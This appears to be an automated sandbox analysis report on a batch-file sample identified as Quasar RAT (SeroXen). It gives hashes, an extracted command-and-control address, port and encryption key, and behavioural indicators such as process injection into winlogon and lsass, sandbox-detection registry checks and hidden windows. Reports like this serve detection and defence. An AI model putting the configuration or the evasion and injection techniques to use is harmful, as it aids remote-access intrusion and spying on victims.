quasar | 5b50f8552e84e864a072b85c24a5aa8ceae9caf1f0ffec251e2240b43a26df2a

Analysis

max time kernel
150s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-11-2024 10:01

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General

Target

Uni.bat
Size

13.7MB
MD5

577c262de7ca8fdfef3b12e8dd170ca5
SHA1

dd35b98c86bd9ac07ee362aeb99a83714511bd6d
SHA256

5b50f8552e84e864a072b85c24a5aa8ceae9caf1f0ffec251e2240b43a26df2a
SHA512

83c1033a62520ce5b32eadf68bfe48421986e5a15eedeb9dcfdf8ba1d1bb99ca863e5313ed6a3fd3a9fb433869e64094388376d6a141016bfd6035d9367ce2ab
SSDEEP

49152:fYSZV75wgeIWwiXe0+DRcnymKneX5wmiiU5Xnh22OhqkNu7KTnyl3547ih563zBg:d

Score

10^/10

quasar v15.5.4 | seroxen defense_evasion discovery spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.0

Botnet

v15.5.4 | SeroXen

86.20.153.176:1007

Mutex

1e6be32f-7de8-4e84-abb4-edd31f5c9694

Attributes

encryption_key
2C1A5E068ECB45220CA56F443A8C0F56408DD384
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
5
startup_key
$sxr-seroxen

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1520-58-0x0000023C45AC0000-0x0000023C4637E000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

Uni.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 2420 created 612	2420	Uni.bat.exe	winlogon.exe
PID 1520 created 612	1520	$sxr-powershell.exe	winlogon.exe
PID 1520 created 612	1520	$sxr-powershell.exe	winlogon.exe
PID 2420 created 612	2420	Uni.bat.exe	winlogon.exe
PID 2420 created 612	2420	Uni.bat.exe	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Uni.bat.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation Uni.bat.exe
Deletes itself 1 IoCs

Processes:

Uni.bat.exe

pid process

2420 Uni.bat.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	Uni.bat.exe

Executes dropped EXE 12 IoCs

Processes:

Uni.bat.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe

pid	process
2420	Uni.bat.exe
1520	$sxr-powershell.exe
3008	$sxr-powershell.exe
1852	$sxr-powershell.exe
3568	$sxr-powershell.exe
5020	$sxr-powershell.exe
1172	$sxr-powershell.exe
2532	$sxr-powershell.exe
5076	$sxr-powershell.exe
4888	$sxr-powershell.exe
60	$sxr-powershell.exe
3932	$sxr-powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 11 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

Processes:

$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe

pid	process
1520	$sxr-powershell.exe
3568	$sxr-powershell.exe
5020	$sxr-powershell.exe
60	$sxr-powershell.exe
3932	$sxr-powershell.exe
4888	$sxr-powershell.exe
3008	$sxr-powershell.exe
1852	$sxr-powershell.exe
1172	$sxr-powershell.exe
2532	$sxr-powershell.exe
5076	$sxr-powershell.exe

Drops file in System32 directory 17 IoCs

Processes:

svchost.exeOfficeClickToRun.exeUni.bat.exe$sxr-powershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\System32\vcruntime140d.dll	Uni.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\System32\ucrtbased.dll	Uni.bat.exe
File created	C:\Windows\System32\vcruntime140_1d.dll	Uni.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	Uni.bat.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	Uni.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	Uni.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	$sxr-powershell.exe
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	$sxr-powershell.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

Uni.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 2420 set thread context of 3936	2420	Uni.bat.exe	dllhost.exe
PID 1520 set thread context of 4704	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 set thread context of 4900	1520	$sxr-powershell.exe	dllhost.exe
PID 2420 set thread context of 5996	2420	Uni.bat.exe	dllhost.exe
PID 2420 set thread context of 1524	2420	Uni.bat.exe	dllhost.exe

Drops file in Windows directory 4 IoCs

Processes:

Uni.bat.exe

description	ioc	process
File created	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File created	C:\Windows\$sxr-seroxen1\$sxr-nircmd.exe	Uni.bat.exe
File created	C:\Windows\$sxr-seroxen1\$sxr-Uni.bat	Uni.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

5092 cmd.exe
5420 PING.EXE

pid	process
5092	cmd.exe
5420	PING.EXE

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

6108 taskkill.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

pid	process
6108	taskkill.exe

Modifies data under HKEY_USERS 14 IoCs

Processes:

OfficeClickToRun.exesvchost.exe

description	ioc	process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 24 Nov 2024 10:02:59 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={190ECAB3-FDB0-48D9-90A2-083C27695B48}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1732442577"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5420 PING.EXE

pid	process
5420	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Uni.bat.exedllhost.exe$sxr-powershell.exedllhost.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exe$sxr-powershell.exedllhost.exe

pid	process
2420	Uni.bat.exe
2420	Uni.bat.exe
2420	Uni.bat.exe
3936	dllhost.exe
3936	dllhost.exe
3936	dllhost.exe
3936	dllhost.exe
2420	Uni.bat.exe
2420	Uni.bat.exe
1520	$sxr-powershell.exe
1520	$sxr-powershell.exe
1520	$sxr-powershell.exe
4704	dllhost.exe
4704	dllhost.exe
4704	dllhost.exe
4704	dllhost.exe
1520	$sxr-powershell.exe
1520	$sxr-powershell.exe
3008	$sxr-powershell.exe
1852	$sxr-powershell.exe
3008	$sxr-powershell.exe
1852	$sxr-powershell.exe
3008	$sxr-powershell.exe
3008	$sxr-powershell.exe
1852	$sxr-powershell.exe
1852	$sxr-powershell.exe
3568	$sxr-powershell.exe
3568	$sxr-powershell.exe
3568	$sxr-powershell.exe
3568	$sxr-powershell.exe
5020	$sxr-powershell.exe
5020	$sxr-powershell.exe
5020	$sxr-powershell.exe
5020	$sxr-powershell.exe
1172	$sxr-powershell.exe
1172	$sxr-powershell.exe
1172	$sxr-powershell.exe
1172	$sxr-powershell.exe
2532	$sxr-powershell.exe
2532	$sxr-powershell.exe
2532	$sxr-powershell.exe
5076	$sxr-powershell.exe
5076	$sxr-powershell.exe
2532	$sxr-powershell.exe
2532	$sxr-powershell.exe
5076	$sxr-powershell.exe
5076	$sxr-powershell.exe
5076	$sxr-powershell.exe
4888	$sxr-powershell.exe
4888	$sxr-powershell.exe
4888	$sxr-powershell.exe
4888	$sxr-powershell.exe
4888	$sxr-powershell.exe
60	$sxr-powershell.exe
60	$sxr-powershell.exe
60	$sxr-powershell.exe
3932	$sxr-powershell.exe
3932	$sxr-powershell.exe
60	$sxr-powershell.exe
60	$sxr-powershell.exe
1520	$sxr-powershell.exe
1520	$sxr-powershell.exe
3932	$sxr-powershell.exe
4900	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

description	pid	process
Token: SeDebugPrivilege	2420	Uni.bat.exe
Token: SeDebugPrivilege	2420	Uni.bat.exe
Token: SeDebugPrivilege	3936	dllhost.exe
Token: SeDebugPrivilege	1520	$sxr-powershell.exe
Token: SeDebugPrivilege	1520	$sxr-powershell.exe
Token: SeDebugPrivilege	4704	dllhost.exe
Token: SeDebugPrivilege	3008	$sxr-powershell.exe
Token: SeDebugPrivilege	1852	$sxr-powershell.exe
Token: SeDebugPrivilege	3568	$sxr-powershell.exe
Token: SeDebugPrivilege	5020	$sxr-powershell.exe
Token: SeDebugPrivilege	1172	$sxr-powershell.exe
Token: SeDebugPrivilege	2532	$sxr-powershell.exe
Token: SeDebugPrivilege	5076	$sxr-powershell.exe
Token: SeDebugPrivilege	4888	$sxr-powershell.exe
Token: SeDebugPrivilege	60	$sxr-powershell.exe
Token: SeDebugPrivilege	3932	$sxr-powershell.exe
Token: SeDebugPrivilege	1520	$sxr-powershell.exe
Token: SeDebugPrivilege	4900	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2128	svchost.exe
Token: SeIncreaseQuotaPrivilege	2128	svchost.exe
Token: SeSecurityPrivilege	2128	svchost.exe
Token: SeTakeOwnershipPrivilege	2128	svchost.exe
Token: SeLoadDriverPrivilege	2128	svchost.exe
Token: SeSystemtimePrivilege	2128	svchost.exe
Token: SeBackupPrivilege	2128	svchost.exe
Token: SeRestorePrivilege	2128	svchost.exe
Token: SeShutdownPrivilege	2128	svchost.exe
Token: SeSystemEnvironmentPrivilege	2128	svchost.exe
Token: SeUndockPrivilege	2128	svchost.exe
Token: SeManageVolumePrivilege	2128	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2128	svchost.exe
Token: SeIncreaseQuotaPrivilege	2128	svchost.exe
Token: SeSecurityPrivilege	2128	svchost.exe
Token: SeTakeOwnershipPrivilege	2128	svchost.exe
Token: SeLoadDriverPrivilege	2128	svchost.exe
Token: SeSystemtimePrivilege	2128	svchost.exe
Token: SeBackupPrivilege	2128	svchost.exe
Token: SeRestorePrivilege	2128	svchost.exe
Token: SeShutdownPrivilege	2128	svchost.exe
Token: SeSystemEnvironmentPrivilege	2128	svchost.exe
Token: SeUndockPrivilege	2128	svchost.exe
Token: SeManageVolumePrivilege	2128	svchost.exe
Token: SeAuditPrivilege	2732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2128	svchost.exe
Token: SeIncreaseQuotaPrivilege	2128	svchost.exe
Token: SeSecurityPrivilege	2128	svchost.exe
Token: SeTakeOwnershipPrivilege	2128	svchost.exe
Token: SeLoadDriverPrivilege	2128	svchost.exe
Token: SeSystemtimePrivilege	2128	svchost.exe
Token: SeBackupPrivilege	2128	svchost.exe
Token: SeRestorePrivilege	2128	svchost.exe
Token: SeShutdownPrivilege	2128	svchost.exe
Token: SeSystemEnvironmentPrivilege	2128	svchost.exe
Token: SeUndockPrivilege	2128	svchost.exe
Token: SeManageVolumePrivilege	2128	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2128	svchost.exe
Token: SeIncreaseQuotaPrivilege	2128	svchost.exe
Token: SeSecurityPrivilege	2128	svchost.exe
Token: SeTakeOwnershipPrivilege	2128	svchost.exe
Token: SeLoadDriverPrivilege	2128	svchost.exe
Token: SeSystemtimePrivilege	2128	svchost.exe
Token: SeBackupPrivilege	2128	svchost.exe
Token: SeRestorePrivilege	2128	svchost.exe
Token: SeShutdownPrivilege	2128	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

$sxr-powershell.exeConhost.exe

pid process

1520 $sxr-powershell.exe
2368 Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exeUni.bat.exe$sxr-powershell.exedllhost.exe

description	pid	process	target process
PID 2352 wrote to memory of 2420	2352	cmd.exe	Uni.bat.exe
PID 2352 wrote to memory of 2420	2352	cmd.exe	Uni.bat.exe
PID 2420 wrote to memory of 3936	2420	Uni.bat.exe	dllhost.exe
PID 2420 wrote to memory of 3936	2420	Uni.bat.exe	dllhost.exe
PID 2420 wrote to memory of 3936	2420	Uni.bat.exe	dllhost.exe
PID 2420 wrote to memory of 3936	2420	Uni.bat.exe	dllhost.exe
PID 2420 wrote to memory of 3936	2420	Uni.bat.exe	dllhost.exe
PID 2420 wrote to memory of 3936	2420	Uni.bat.exe	dllhost.exe
PID 2420 wrote to memory of 3936	2420	Uni.bat.exe	dllhost.exe
PID 2420 wrote to memory of 1520	2420	Uni.bat.exe	$sxr-powershell.exe
PID 2420 wrote to memory of 1520	2420	Uni.bat.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 4704	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4704	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4704	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4704	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4704	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4704	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4704	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 3008	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 3008	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 1852	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 1852	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 3568	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 3568	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 5020	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 5020	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 1172	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 1172	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 2532	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 2532	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 5076	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 5076	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 4888	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 4888	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 60	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 60	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 3932	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 3932	1520	$sxr-powershell.exe	$sxr-powershell.exe
PID 1520 wrote to memory of 4900	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4900	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4900	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4900	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4900	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4900	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4900	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4900	1520	$sxr-powershell.exe	dllhost.exe
PID 1520 wrote to memory of 4900	1520	$sxr-powershell.exe	dllhost.exe
PID 4900 wrote to memory of 612	4900	dllhost.exe	winlogon.exe
PID 4900 wrote to memory of 668	4900	dllhost.exe	lsass.exe
PID 4900 wrote to memory of 956	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 316	4900	dllhost.exe	dwm.exe
PID 4900 wrote to memory of 508	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 952	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1064	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1084	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1176	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1208	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1244	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1316	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1380	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1388	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1400	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1420	4900	dllhost.exe	svchost.exe
PID 4900 wrote to memory of 1580	4900	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

4940 attrib.exe

pid	process
4940	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e427e55e-db3b-45e0-a970-dae67332a6e6}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3936
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d41c35f3-63d7-4245-a09c-3516c578a7c9}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4704
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{808f74f0-b5a5-41ba-8198-1d1a6bb514e7}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4900
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6b9b4e50-f466-494f-9a70-a6ee2cd84949}
  2⤵
  PID:5996
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{617c83cb-5271-453c-8b02-0015685bb9ba}
  2⤵
  PID:1524

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:508

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1176
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1380

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1400

